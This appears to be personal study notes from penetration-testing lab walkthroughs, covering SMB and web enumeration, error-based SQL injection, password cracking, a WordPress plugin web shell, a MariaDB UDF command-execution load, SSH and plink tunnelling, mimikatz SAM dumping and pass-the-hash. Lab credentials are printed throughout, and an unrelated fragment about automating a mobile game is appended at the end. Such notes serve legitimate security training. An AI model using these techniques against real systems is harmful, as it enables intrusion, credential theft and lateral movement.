nmap -sC -sV -p`cat ports.txt` 10.10.10.28 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 03:00 EDT Nmap scan report for 10.10.10.28 Host is up (0.35s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA) | 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA) |_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.48 seconds
port 80 is open, take a look use browser
try dirb:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
dirb 10.10.10.28 -r -z 10 -r to scan non-recursively, and -z 10 to add a 10 millisecond delay to each request
tr: change \n to , sed s/,$ replace the last `,` to empty
more detailed scan
1
nmap -sC -sV -p`cat ports.txt` 10.10.10.27
Results:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp filtered unknown 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp closed unknown Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
1
Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.
445 are open (file sharing smb)
check anonymous login
1 2 3 4 5 6 7 8 9 10
smbclient -N -L \\\\10.10.10.27 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPC
-N: dot not ask for password -L: list shares
1 2 3 4 5 6 7 8
smbclient -N \\\\10.10.10.27\\backups smb: \> dir . D 0 Mon Jan 20 07:20:57 2020 .. D 0 Mon Jan 20 07:20:57 2020 prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
10328063 blocks of size 4096. 8248806 blocks available get prod.dtsConfig
A DTSCONFIG file is an XML configuration file used to apply property values to SQL Server Integration Services (SSIS) packages. The file contains one or more package configurations that consist of metadata such as the server name, database names, and other connection properties to configure SSIS packages.
updatexml():是mysql对xml文档数据进行查询和修改的xpath函数, updatexml(xml_document,XPthstring,new_value), xpath must be valid path, concat(0x7e, database()), 0x7e is ~, is an invalid xpath format
extractvalue()
similar to updatexml(), takes an xpath arg
exp()
return error when argument > 709, ~0 always > 709, usually a statement returns 0. so try exp~(select version()) will return error, and sometimes the version() in error message will be evluated
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status !love29jan2006! (?) 1g 0:00:19:52 DONE (2021-07-11 15:22) 0.000838g/s 12018p/s 12018c/s 12018C/s !luv2:P..!lilkilla! Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed
For wordpress, look at the info tag: tool->site_health->info
1 2 3 4 5 6 7 8 9 10 11
Server: Server architecture Linux 4.4.0-21-generic x86_64 Web server Apache/2.4.18 (Ubuntu) PHP version 7.0.33-0ubuntu0.16.04.7 (Supports 64bit values)
Database: Extension mysqli Server version 10.3.20-MariaDB Client version mysqlnd 5.0.12-dev - 20150407 - $Id: b5c5906d452ec590732a93b051f3827e02749b83 $ Database user wp Database host 10.5.5.11
Database in running on 10.5.5.11, different from what we are targeting. 10.11.1.250
we can install our own plugins, there are some malicious wordpress plugins
in seclis: cd /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php
upload plugin and get error:
1
The package could not be installed. PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature
Search online, and find that I need to pack the php file to zip
1
zip bad_plugin.zip /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php
then upload
fatal error when try to activate:
1
Plugin could not be activated because it triggered a fatal error.
cat wp-config.php /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' );
/** MySQL database username */ define( 'DB_USER', 'wp' );
/** MySQL database password */ define( 'DB_PASSWORD', 'Lv9EVQq86cfi8ioWsqFUQyU' );
/** MySQL hostname */ define( 'DB_HOST', '10.5.5.11' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
define( 'WP_HTTP_BLOCK_EXTERNAL', true );
Creating a stable pivot point
when then try to login to the internal network, e.g. the database server 10.5.5.11 since we do not have root access to create ssh server, we should use reverse ssh tunneling
first we need to know which port is running the database server
create a quick portscan script
1 2 3 4 5 6 7
#!/bin/bash host=10.5.5.11 for port in {1..65535}; do timeout .1 bash -c "echo >/dev/tcp/$host/$port" && echo "port $port is open" done echo "Done"
upload the script use meterpreter:
1 2 3 4 5
upload ~/script/portscan.sh /tmp/portscan.sh
chmod +x portscan.sh ./portscan.sh port 3306 is open
from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBK2RDq8McGN6Av2gpVYvS6nwi6r10XFYVQsQAxQLDwaprw4pJObKgcpgXkgj48cSLCJ8473Jv3y8FUpqgN8sX3EJseG43ni45kP/i3yQJ7sTmbG6/ZsIdxZM4dC9oK9JbHTnko/8d24lJMxAGwvskjFpCRjcBu1OVUmRziWFTG5v6zVaebvFt2DlP3XaDPZysZg4+Xh5iS+/T73aarEJbLz5EEz7Nnq06bHvMOn/hQqqiIZ6jgHVzSMu7eolt1hh7+CsCjaNctURir4JRCAMjEWmpQ+xy39b6PmqDLbJfKon68Xv685fB6d+O2vJr/lO8KaKEnhEUwRw5GwN45hRT www-data@ajla
mysql --host=127.0.0.1 --port=13306 --user=wp -p Lv9EVQq86cfi8ioWsqFUQyU
look at what privilege we have:
1 2 3
SHOW Grants; GRANT USAGE ON *.* TO 'wp'@'%' IDENTIFIED BY PASSWORD '*61163AE4B131AB0E43F07BE7B' | GRANT SELECT, INSERT, UPDATE, DELETE ON `wordpress`.* TO 'wp'@'%'
mysql --host=127.0.0.1 --port=13306 --user=root -pBmDu9xUHKe3fZi3Z7RdMBeb mariadb> set @shell=0x7abf.....; select @@plugin_dir; select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so'; create function sys_exec returns int soname 'udf_sys_exec.so'; select * from mysql.func where name='sys_exec';
test to see if we can make network call from zora to kali
cat /etc/issue # get linux version Alpine Linux 3.10
cat /proc/version # get kernel version Linux version 4.19.78-0-virt (buildozer@build-3-10-x86_64) (gcc version 8.3.0 (Alpine 8.3.0)) #1-Alpine SMP Thu Oct 10 15:25:30 UTC 2019
uname -a linux zora 4.19.78-0-virt #1-Alpine SMP Thu Oct 10 15:25:30 UTC 2019 x86_64 Linux
The contents of /etc/fstab are interesting. A share is mounted from the 10.5.5.20 host. Let’s poke around the scripts share and see what we find.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
cd /mnt/scripts
cat system_report.ps1 # find a better way to automate this $username = "sandbox\alex" $pwdTxt = "Ndawc*nRoqkC+haZ" $securePwd = $pwdTxt | ConvertTo-SecureString $credObject = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $securePwd
# Enable remote management on Poultry $remoteKeyParams = @{ ComputerName = "POULTRY" Path = 'HKLM:\SOFTWARE\Microsoft\WebManagement\Server' Name = 'EnableRemoteManagement' Value = '1' } Set-RemoteRegistryValue @remoteKeyParams -Credential $credObject
Create a stable reverse tunnel
1 2 3 4 5
ssh-keygen /var/lib/mysql/.ssh/id_rsa
from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBVu1YocyTb1VTj7tkgBdqpqU/YQoKSTEC3btRPoWDs8s4oCkYNU4nuehdUn8NFeBPSABqrPq7oBu20jJVD+BWdsXUVkTqCeQr4iz1owud1GsE7QbkHiWXmkNjLqzDTnJqL9Tp1cSdIx7Ekwc9ETtQlmAaR3YRA0Ryd2JR1Mv8edE43Fhh9LGVeW/97hI6DeYOvA3+bODxd9hkqwnOyDqB5RzMEcu6q98sysp31QbiJ17LH1Rr5fkdUUmVZtdwlByu8heB5UrDW1UJUa0GoHmh/nzwxD6+9eazK/XNGp6/pOPhd2zag99IMMtTkypx6mguFYy3mIgkI/h5C46xJTOUz/xQ2LwGb8+PWmBXHDcnbL85y4p1yyoUM5oBd+Fb6DThYnKmwVtvUb0VrEcN03JZ9QepkvdE84eUzqBdbWBjTzhgHTLFRJeMQM2sUt7vBcOB2XmuTk3md/O8V7wQuSgXDk8vyz4h/iSCu8UaLJx0CnJ5AdtIUeIBzgFWf1hJnWE= mysql@zora
C:\Users\alex>systeminfo Host Name: POULTRY OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 ... Registered Owner: poultryadmin ... Domain: sandbox.local
netstat -ano
nothing interesting for the opening port, Ports 49152 and above are the Windows default dynamic/ephemeral ports for establishing TCP connections and we don’t need to worry about them
Senario: only a specific protocal is allowed. E.g. ssh protocal is not allowed. and theres a deep packet inspection in the firewall that only allow http packet. An unused port 1234 is open by misconfiguration (unusal in real case) port 3389 remote desktop prot
sudo service rinetd restart ss -antp | grep "80" nc -nvv 10.11.0.4 80
SSH Tunneling
SSH local port forwarding
Senario: victim1 already compromised, only accpet 8080, 22, 3389 port from outside. victim1 conenct to another subnetwork contains another target. Move tools to victim1 is not eligent and scalable, want to attack from our kali machine
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
-L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by al‐ locating a socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port hostport, or the Unix socket remote_socket, from the remote machine.
-N Do not execute a remote command. This is useful for just for‐ warding ports.
1 2 3 4 5 6 7 8
In our scenario, we want to forward port 445 (Microsoft networking without NetBIOS) on our Kali machine to port 445 on the Windows Server 2016 target. When we do this, any Microsoft file sharing queries directed at our Kali machine will be forwarded to our Windows Server 2016 target. This seems impossible given that the firewall is blocking traffic on TCP port 445, but this port forward is tunneled through an SSH session to our Linux target on port 22, which is allowed through the firewall. In summary, the request will hit our Kali machine on port 445, will be forwarded across the SSH session, and will then be passed on to port 445 on the Windows Server 2016 target.
forword all 10.11.0.4:2221 request from kali machien to 127.0.0.1:3306
on kali:
1 2 3 4 5 6
kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 2221 Nmap scan report for localhost (127.0.0.1) Host is up (0.000039s latency). PORT STATE SERVICE VERSION 2221/tcp open mysql MySQL 5.5.5-10.1.26-MariaDB-0+deb9u1 Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
scan local port will scan target host
SSH Dynamic port forwarding
1
kali> ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>
With the above syntax in mind, we can create a local SOCKS4 application proxy (-N -D) on our Kali Linux machine on TCP port 8080 (127.0.0.1:8080), which will tunnel all incoming traffic to any host in the target network, through the compromised Linux machine, which we log into as student
We can run any network application through HTTP, SOCKS4, and SOCKS5 proxies with the help of ProxyChains
plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
if it is the first time, it will attmpt to cache the host key and there’s a interactive step y/n
solution:
1
cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
netSH
use netsh to do port forwarding on windows, it is installed on windows by default.
However, for this to work, the Windows system must have the IP Helper service running and IPv6 support must be enabled for the interface we want to use. Fortunately, both are on and enabled by default on Windows operating systems.
token::elevate command to elevate the security token from high integrity (administrator) to SYSTEM integrity. If mimikatz is launched from a SYSTEM shell, this step is not required.
use lsadump::sam to dump the contents of the SAM database
Passing the hash in windows
The Pass-the-Hash (PtH) technique (discovered in 1997) allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a clear text password. This is possible because NTLM/LM password hashes are not salted and remain static between sessions. Moreover, if we discover a password hash on one target, we cannot only use it to authenticate to that target, we can use it to authenticate to another target as well, as long as that target has an account with the same username and password.
Security Accounts Manager (SAM)
To do this, we will use pth-winexe from the Passing-The-Hash toolkit (a modified version of winexe), which performs authentication using the SMB protocol
Question: what does “aad3b435b51404eeaad3b435b51404ee” do ? why there are two hashes? aad3b435b51404eeaad3b435b51404ee: Empty LM HASH <LM hash>:<NTLM hash>
NTLM hash algorithn:
1
MD4(UTF-16-LE(password))
Behind the scenes, the format of the NTLM hash we provided was changed into a NetNTLM version 1 or 2 format during the authentication process. We can capture these hashes using man-in-the-middle or poisoning attacks and either crack them or relay them
I played Arknights on Bilibili Server(Android only) with Android emulator, tries to clear some daily task with my iOS device.
Attempts
Approch 1: UI less arknights: need to capture and analyze some packages. I searched on github, all auto scripts are based on Android Emulator.
Approch 2: have an android emulator running on remote server, and control it with those auto scripts (CV based). However, it seems rented cloud VMs does not support nested virtualization (android emulator is another vm)
Approch 3 (Current approch): Run emulator on my own windows machine, connect both windows machine and mobile phone (or browser if provide a web based console) to the server. Drawback: access speed would be slow, since need to communicate with both web client and windows machine. Need to keep my own PC running at home while access it. Need authentication to avoid Man-in-the-middle attack. Tried to find a way directly connect two machines behind NAT (NAT Traversal)
Design - PC side
Connect Emulator with adb
Download android sdk platform tool (adb included), add to PATH